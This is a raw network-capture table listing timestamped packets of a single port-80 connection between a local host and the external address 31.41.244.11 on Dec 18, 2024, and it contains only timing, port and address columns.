Dec 18, 2024 11:47:46.981559038 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.981581926 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.982470989 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.982608080 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.982630968 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.982644081 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.983793020 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.983841896 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.983841896 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.983887911 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.984833002 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.984874964 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.984899044 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.984937906 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.985987902 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.986032963 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.986042976 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.986082077 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.987163067 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.987204075 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.987273932 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.987320900 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.988312006 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.988356113 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.988392115 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.988431931 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.989521027 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.989579916 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.989600897 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.989612103 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.990632057 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.990675926 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.990730047 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.990773916 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.991879940 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.991925955 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.992022991 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.992064953 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.992974043 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.993014097 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.993042946 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.993083000 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.994189024 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.994230032 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.994288921 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.994334936 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.995337009 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.995373011 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.995438099 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.995477915 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.996499062 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.996542931 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.996575117 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.996613979 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.997754097 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.997790098 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.997796059 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.997824907 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.998830080 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.998893976 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.998955965 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.998997927 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.999994993 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.000040054 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.000125885 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.000164986 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.001168966 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.001209021 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.001337051 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.001374960 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.002357960 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.002399921 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.002454996 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.002526045 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.003493071 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.003535032 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.003572941 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.003613949 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.004755974 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.004798889 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.004801035 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.004836082 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.005954027 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.005997896 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.006031036 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.006066084 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.006959915 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.007003069 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.007106066 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.007144928 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.138036966 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.138144970 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.138160944 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.138202906 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.138418913 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.138464928 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.138519049 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.138559103 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.139662981 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.139705896 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.139786005 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.139826059 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.140897989 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.140934944 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.141179085 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.141222954 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.141252041 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.141299963 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.142328978 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.142366886 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.142395973 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.142436028 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.143487930 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.143529892 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.143618107 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.143657923 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.144650936 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.144690990 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.144757986 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.144802094 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.145926952 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.145966053 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.146024942 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.146065950 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.146998882 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.147046089 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.147113085 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.147152901 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.148303986 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.148345947 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.148381948 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.148428917 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.149384022 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.149432898 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.149466991 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.149555922 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.150640011 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.150682926 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.150757074 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.150794983 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.152122021 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.152164936 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.152199984 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.152244091 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.153198957 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.153240919 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.153259039 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.153322935 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.154126883 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.154175043 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.154175997 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.154227972 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.155180931 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.155229092 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.155338049 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.155383110 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.156395912 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.156435013 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.156482935 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.156522989 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.157511950 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.157552958 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.157697916 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.157741070 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.158643007 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.158684969 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.158745050 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.158782959 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.159944057 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.159982920 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.160034895 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.160068989 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.161051035 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.161092997 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.161144972 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.161183119 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.162201881 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.162245035 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.162323952 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.162364960 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.163398027 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.163436890 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.163500071 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.163538933 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.164518118 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.164558887 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.164627075 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.164669037 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.165673018 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.165714025 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.165744066 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.165785074 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.166893005 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.166939020 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.166990042 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.167028904 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.168028116 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.168071032 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.168137074 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.168175936 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.169183969 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.169226885 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.169297934 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.169334888 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.170366049 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.170408964 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.170427084 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.170464993 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.171540022 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.171583891 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.171652079 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.171693087 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.172722101 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.172770977 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.172801018 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.172837973 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.173901081 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.173940897 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.173990965 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.174029112 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.175070047 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.175113916 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.175149918 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.175189018 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.176224947 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.176265001 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.176316977 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.176356077 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.177390099 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.177427053 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.177521944 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.177562952 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.178545952 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.178586960 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.178642035 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.178680897 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.179722071 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.179763079 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.179820061 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.179857016 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.181013107 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.181054115 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.181171894 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.181210995 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.182075024 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.182116985 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.182179928 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.182219982 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.183235884 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.183280945 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.183356047 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.183396101 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.184524059 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.184566975 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.184884071 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.184922934 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.186009884 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.186034918 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.186053991 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.186067104 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.186986923 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.187027931 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.187136889 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.187175989 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.187952042 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.187989950 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.188061953 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.188100100 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.189127922 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.189179897 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.189271927 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.189310074 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.190227032 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.190267086 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.190320969 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.190363884 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.191482067 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.191524029 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.191550016 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.191590071 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.192598104 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.192637920 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.192707062 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.192756891 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.193736076 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.193777084 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.193809032 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.193845987 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.194925070 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.194967031 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.195034981 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.195075035 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.196085930 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.196127892 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.196233988 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.196275949 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.197870970 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.197916985 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.197943926 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.197979927 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.198508978 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.198553085 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.198585033 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.198622942 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.329010010 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.329081059 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.329106092 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.329140902 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.329336882 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.329380989 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.329413891 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.329452038 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.330450058 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.330497026 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.330564976 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.330617905 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.331732035 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.331773043 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.331803083 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.331844091 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.332508087 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.332551003 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.332555056 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.332592964 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.333725929 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.333767891 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.333904028 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.333942890 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.334985018 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.335027933 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.335088968 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.335127115 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.335966110 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.336008072 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.336090088 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.336128950 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.337215900 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.337233067 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.337260962 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.337275982 CET	49878	80	192.168.2.6	31.41.244.11
